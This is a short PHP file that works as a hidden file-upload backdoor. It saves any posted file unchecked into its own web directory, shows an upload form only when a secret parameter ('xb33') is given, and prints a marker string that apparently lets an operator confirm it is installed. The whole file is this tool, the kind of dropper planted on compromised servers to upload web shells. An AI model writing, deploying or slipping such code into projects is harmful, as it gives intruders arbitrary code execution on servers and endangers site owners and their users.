<?php
$uploaddir = dirname(__FILE__) . '/';
$uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
if(!empty($_FILES['userfile']['tmp_name']) && move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile)){
  print('uploaded:' . basename($_FILES['userfile']['name']));
} elseif(isset($_GET['xb33'])){
  echo '<form method=post enctype=multipart/form-data>';
  echo '<input type=file name=userfile>';
  echo '<input type=submit value=Upload>';
  echo '</form>';
}
echo '__XBB__';